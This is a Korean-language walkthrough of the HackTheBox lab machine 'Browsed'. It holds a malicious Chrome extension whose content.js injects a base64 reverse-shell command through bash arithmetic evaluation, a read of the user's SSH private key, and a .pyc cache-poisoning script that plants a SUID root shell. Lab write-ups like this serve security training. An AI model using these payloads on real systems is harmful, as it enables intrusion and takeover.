HackTheBox Labs Writeup - Browsed

HackTheBox Labs Writeup - Browsed

이 글은 HackTheBox 의 Medium 난이도 머신인 Browsed 에 대한 Writeup이다.

Browsed 머신 정보

User Flag

nmap 으로 스캐닝해보니 22번 ssh 포트와 80번 http 포트가 열린 것을 확인할 수 있다.

$ nmap -sV -A -T4 -Pn 10.129.10.198

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-29 09:51 EDT
Nmap scan report for 10.129.10.198
Host is up (0.55s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT       ADDRESS
1   582.55 ms 10.10.16.1
2   266.40 ms 10.129.10.198

브라우저로 80번 포트에 접속하니 Chrome 확장 프로그램을 업로드하는 웹 애플리케이션이 나타났다. ZIP 파일로 확장 프로그램을 올리면 백엔드 개발자가 직접 설치해서 테스트하고 피드백을 주는 구조인 것 같다.

Brwosed.htb 랜딩 페이지

Upload Extension 버튼을 클릭하면 /upload.php 페이지로 이동된다. ZIP 포맷의 크롬 확장 프로그램을 업로드할 수 있다.

확장 프로그램 업로드 페이지

상단의 Samples 버튼을 클릭하면 /samples.html 페이지로 이동한다. 여러 예제 확장 프로그램을 다운로드할 수 있다.

테스트 샘플 다운로드 페이지

크롬 확장 프로그램의 취약점을 이용해야 할 것으로 보인다. /samples.html 페이지에서 샘플 확장 프로그램 Fontify를 다운로드해서 구조를 살펴봤다.

fontify
├── content.js
├── manifest.json
├── popup.html
├── popup.js
└── style.css

manifest.json 을 확인해보니 content_scripts<all_urls> 가 걸려있다. 개발자가 어떤 페이지를 방문하든 content.js 가 자동 실행된다는 뜻이다.

{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "description": "Choose a font to apply to all websites!",
  "permissions": [
    "storage",
    "scripting"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Choose your font"
  },
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content.js"
      ],
      "run_at": "document_idle"
    }
  ]
}

Fontify 샘플을 그대로 업로드하면 대량의 로그를 확인할 수 있다. 로그에 따르면 업로드한 확장 프로그램이 실제로 설치되고 content.js 가 실행되고 있었다. 또한 로그에서 localhost 에 대한 네트워크 요청도 보였는데, 확장 프로그램의 JavaScript 로 내부 서비스에 접근할 수 있다는 뜻이다.

확장 프로그램 업로드 후 피드백 로그

이외에도 browsedinternals.htb 라는 서브도메인에 대한 정보가 있었다. /etc/hosts 에 서브도메인 IP를 추가하고 브라우저로 접근해보니 Gitea 가 돌고 있었고, 공개된 MarkdownPreview 레포지토리에서 localhost:5000 에서 동작하는 Flask 앱의 소스 코드를 확인할 수 있었다.

서브도메인에서 운영 중인 Gitea 저장소

Flask 앱의 핵심인 routines.sh 파일 데이터는 다음과 같다.

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

사용자 입력이 routines.sh 의 첫 번째 인자로 그대로 넘어가는데, 셸 스크립트 안을 보니 -eq 로 숫자 비교를 하고 있었다.

if [[ "$1" -eq 0 ]]; then
    ...
elif [[ "$1" -eq 1 ]]; then
    ...
fi

Bash 의 -eq 는 비교 전에 산술 평가를 수행한다. 따라서 존재하지 않는 array x 에 대해 접근하는 x[$(whoami)] 같은 값을 넣으면 배열 인덱스 계산 과정에서 $(whoami) 가 실제로 실행된다. 이걸 이용하면 커맨드 인젝션이 가능하다.

공격 체인을 정리하면 이렇다. 악성 확장 프로그램을 업로드하면 개발자 브라우저에서 JavaScript 가 실행되고, 그 JavaScript 가 localhost:5000 의 Flask 앱에 요청을 보내서 routines.sh 의 산술 평가 취약점을 트리거하는 것이다.

content.js 를 다음과 같이 작성했다. 리버스 셸 명령어에 공백이 포함되면 URL 파싱에서 문제가 생기므로, 전체 명령어를 base64 인코딩한 뒤 서버에서 디코딩해서 실행하도록 했다. 공백은 %20 으로 치환했다.

// content.js

const LHOST = "공격자 IP";
const LPORT = 1234;
const FLASK = "http://127.0.0.1:5000/routines/";

// 리버스 셸 커맨드를 base64 인코딩
const revshell = btoa(`bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'`);

// Bash 산술 평가를 트리거하는 페이로드 조립
// 공백은 URL 에서 깨지므로 %20 으로 대체
const payload = `x[$(echo%20${revshell}|base64%20-d|bash)]`;

fetch(FLASK + payload, { mode: "no-cors" });

작성한 확장 프로그램을 ZIP 으로 압축한다.

$ zip -r ../malicious_extension.zip .

로컬 머신에서 리버스 셸을 받을 포트를 리스닝한 뒤, 웹 페이지에서 ZIP 파일을 업로드한다.

$ nc -lvnp 1234

잠시 후 리버스 셸이 수립되어 larry 유저로 접속된다.

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.127] from (UNKNOWN) [10.129.10.198] 36744
bash: cannot set terminal process group (1452): Inappropriate ioctl for device
bash: no job control in this shell

larry 유저 권한으로 User Flag 를 획득했다.

larry@browsed:~/markdownPreview$ cat /home/larry/user.txt

Root Flag

리버스 셸은 불안정하니 먼저 SSH 키를 확보해서 안정적인 세션을 만들었다. larry 의 홈 디렉토리의 SSH 개인키를 로컬 PC로 복사한다.

larry@browsed:~$ cat /home/larry/.ssh/id_ed25519         
-----BEGIN OPENSSH PRIVATE KEY-----
... 중략 ...
-----END OPENSSH PRIVATE KEY-----

복사한 Key 파일에 적절한 권한을 준 후 ssh 접속한다.

$ chmod 600 id_ed25519
$ ssh -i id_ed25519 larry@10.129.10.198

SSH 로 접속한 후 sudo -l 을 확인해봤다.

larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

extension_tool.py 를 root 권한으로 실행할 수 있다. 이 스크립트를 열어보니 상단에서 extension_utils 모듈을 import 하고 있었다.

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
...

extension_utils.py 파일 자체는 수정 권한이 없으나 디렉토리 권한을 확인해보니 __pycache__/ 는 아무나 쓸 수 있는 상태였다. 따라서 .pyc 포이즈닝을 시도해볼 수 있다.

Python 은 모듈을 import 할 때 매번 소스를 컴파일하지 않고, __pycache__/ 에 캐싱된 .pyc 를 먼저 확인한다. 이때 캐시가 유효한지 판단하기 위해 원본 파일의 크기와 타임스탬프를 비교하는데, 이 두 값만 맞춰주면 Python 새로운 pyc 파일을 빌드하지 않고 조작된 바이트코드를 그대로 로드한다.

다음과 같은 스크립트를 /tmp 경로에 작성했다. validate_manifest() 함수가 호출될 때 SUID bash 를 /tmp/.rootsh 에 생성하도록 했고, 원본 파일과 크기를 맞추기 위해 # 으로 패딩했다.

import os, py_compile, shutil

src_path = "/opt/extensiontool/extension_utils.py"
tmp_path = "/tmp/ext_utils_fake.py"
pyc_path = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

# 원본 파일 정보 가져오기
info = os.stat(src_path)

# 악성 모듈 작성 - 원본과 같은 함수 시그니처를 유지
code = """import os
def validate_manifest(path):
    os.system("cp /bin/bash /tmp/.rootsh && chmod 4755 /tmp/.rootsh")
    return {}
def clean_temp_files(arg):
    pass
"""

# 원본과 크기를 맞추기 위해 주석으로 패딩
code += "#" * (info.st_size - len(code))

with open(tmp_path, "w") as f:
    f.write(code)

# 타임스탬프를 원본과 동일하게 맞춤
os.utime(tmp_path, (info.st_atime, info.st_mtime))

# 컴파일 후 캐시 교체
py_compile.compile(tmp_path, cfile="/tmp/fake.pyc")
if os.path.exists(pyc_path):
    os.remove(pyc_path)
shutil.copy2("/tmp/fake.pyc", pyc_path)

print("[*] done")

스크립트를 실행하고 extension_tool.py 를 sudo 로 돌리면 조작된 바이트코드가 로드된다.

larry@browsed:/tmp$ python3 test.py 
[*] done
larry@browsed:/tmp$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
[-] Skipping version bumping
[-] Skipping packaging

SUID bash 가 생성됐으니 -p 옵션으로 실행하면 root 셸을 얻을 수 있다.

larry@browsed:/tmp$ /tmp/.rootsh -p
.rootsh-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) groups=1000(larry)

/root/root.txt 파일에서 Root Flag를 획득한다.

.rootsh-5.2# cat /root/root.txt